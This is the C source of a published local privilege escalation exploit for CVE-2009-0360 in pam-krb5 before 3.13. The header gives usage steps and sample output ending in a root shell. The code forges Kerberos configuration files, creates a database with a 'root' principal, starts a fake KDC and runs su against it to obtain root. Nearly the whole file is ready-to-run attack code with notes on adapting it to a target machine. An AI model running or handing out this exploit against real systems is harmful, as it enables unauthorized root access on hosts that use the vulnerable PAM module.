No description provided by source.
/*
* cve-2009-0360.c
*
* pam-krb5 < 3.13 local privilege escalation
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0360
*
* pam-krb5 before 3.13, when linked against MIT Kerberos, does not properly
* initialize the Kerberos libraries for setuid use, which allows local
* users to gain privileges by pointing an environment variable to a
* modified Kerberos configuration file, and then launching a PAM-based
* setuid application.
*
* Usage:
*
* $ gcc cve-2009-0360.c -o cve-2009-0360
* $ ./cve-2009-0360
* [+] creating krb5.conf
* [+] creating kdc.conf
* [+] creating kerberos database
* Loading random data
* Initializing database \'/tmp/cve-2009-0360/principal\' for realm \'TEST.COM\',
* master key name \'K/[email protected]\'
* [+] adding principal [email protected]
* Authenticating as principal [email protected] with password.
* Enter KDC database master key:
* WARNING: no policy specified for [email protected]; defaulting to no policy
* Principal \"[email protected]\" created.
* [+] launching krb5kdc on 141.212.110.163:6666
* [+] launching su with fake KDC configuration
* [+] enter \"root\" at the password prompt
* Password:
* # id
* uid=0(root) gid=0(root) ...
*
* Notes:
*
* This exploit will result in local privilege escalation on hosts that use
* the pam-krb5 module for su authentication. Check the su and system-auth
* PAM configuration files in /etc/pam.d to determine if pam-krb5 is in use.
* Some customization of the defined constants and paths may be necessary
* for your environment. Be sure to set FAKE_KDC_HOST to the IP address of
* an active non-loopback interface on the target machine.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#define REALM \"TEST.COM\"
#define FAKE_KDC_HOST \"141.212.110.163\"
#define FAKE_KDC_PORT \"6666\"
#define PRINCIPAL_NAME \"root\"
#define PRINCIPAL_PASS \"root\"
#define TMP_DIR \"/tmp/cve-2009-0360\"
#define KUTIL_PATH \"/usr/sbin/kdb5_util\"
#define KADMIN_PATH \"/usr/sbin/kadmin.local\"
#define KRB5KDC_PATH \"/usr/sbin/krb5kdc\"
#define KRB5_CONF \\
\"[libdefaults]\\n\\tdefault_realm = \" REALM \"\\n\\n[realms]\\n\\t\" REALM \\
\" = {\\n\\t\\tadmin_server = \" FAKE_KDC_HOST \":\" FAKE_KDC_PORT \"\\n\\t\\t\" \\
\"default_domain = \" REALM \"\\n\\t\\tkdc = \" FAKE_KDC_HOST \":\" FAKE_KDC_PORT \\
\"\\n\\t}\\n\\n[domain_realm]\\n\\t.\" REALM \" = \" REALM \"\\n\\t\" REALM \" = \" REALM
#define KDC_CONF \\
\"[kdcdefaults]\\n\\tkdc_ports = \" FAKE_KDC_PORT \"\\n\\n[realms]\\n\\t\" REALM \\
\" = {\\n\\t\\tdatabase_name = \" TMP_DIR \"/principal\\n\\t\\tadmin_keytab = \" \\
\"FILE:\" TMP_DIR \"/kadm5.keytab\\n\\t\\tacl_file = \" TMP_DIR \"/kadm5.acl\" \\
\"\\n\\t\\tkey_stash_file = \" TMP_DIR \"/stash\\n\\t\\tkdc_ports = \" FAKE_KDC_PORT \\
\"\\n\\t\\tmax_life = 10h 0m 0s\\n\\t\\tmax_renewable_life = 7d 0h 0m 0s\\n\\t}\"
int
main(void)
{
int ret;
FILE *fp;
char *err;
ret = mkdir(TMP_DIR, 0755);
if (ret == -1 && errno != EEXIST) {
err = \"cannot create TMP_DIR\";
printf(\"[-] Error: %s (%s)\\n\", err, strerror(errno));
return 1;
}
printf(\"[+] creating krb5.conf\\n\");
sleep(1);
fp = fopen(TMP_DIR \"/krb5.conf\", \"w\");
if (!fp) {
err = \"cannot open krb5.conf\";
printf(\"[-] Error: %s (%s)\\n\", err, strerror(errno));
return 1;
}
fwrite(KRB5_CONF, 1, strlen(KRB5_CONF), fp);
fclose(fp);
printf(\"[+] creating kdc.conf\\n\");
sleep(1);
fp = fopen(TMP_DIR \"/kdc.conf\", \"w\");
if (!fp) {
err = \"cannot open kdc.conf\";
printf(\"[-] Error: %s (%s)\\n\", err, strerror(errno));
return 1;
}
fwrite(KDC_CONF, 1, strlen(KDC_CONF), fp);
fclose(fp);
chdir(TMP_DIR);
printf(\"[+] creating kerberos database\\n\");
sleep(1);
ret = system(KUTIL_PATH \" create -d \" TMP_DIR \"/principal -sf \" TMP_DIR \\
\"/stash -r \" REALM \" -s -P \\\"\\\"\");
if (WEXITSTATUS(ret) != 0) {
err = \"kdb5_util command returned non-zero\";
printf(\"[-] Error: %s, continuing exploit anyway\\n\", err);
}
printf(\"[+] adding principal \" PRINCIPAL_NAME \"@\" REALM \"\\n\");
sleep(1);
ret = system(\"echo \\\"\\\" | \" KADMIN_PATH \" -m -p \" PRINCIPAL_NAME \"@\" REALM \\
\" -d \" TMP_DIR \"/principal -r \" REALM \" -q \\\"add_principal \" \\
\"-pw \" PRINCIPAL_PASS \" \" PRINCIPAL_NAME \"@\" REALM \"\\\"\");
if (WEXITSTATUS(ret) != 0) {
err = \"kadmin.local command returned non-zero\";
printf(\"[-] Error: %s, continuing exploit anyway\\n\", err);
}
printf(\"[+] launching krb5kdc on \" FAKE_KDC_HOST \":\" FAKE_KDC_PORT \"\\n\");
sleep(1);
ret = system(\"KRB5_KDC_PROFILE=\\\"\" TMP_DIR \"/kdc.conf\\\" \" KRB5KDC_PATH \\
\" -d \" TMP_DIR \"/principal -r \" REALM);
if (WEXITSTATUS(ret) != 0) {
err = \"krb5kdc command returned non-zero\";
printf(\"[-] Error: %s, continuing exploit anyway\\n\", err);
}
printf(\"[+] launching su with fake KDC configuration\\n\");
sleep(1);
printf(\"[+] enter \\\"\" PRINCIPAL_PASS \"\\\" at the password prompt\\n\");
sleep(1);
system(\"KRB5_CONFIG=\\\"\" TMP_DIR \"/krb5.conf\\\" su\");
return 0;
}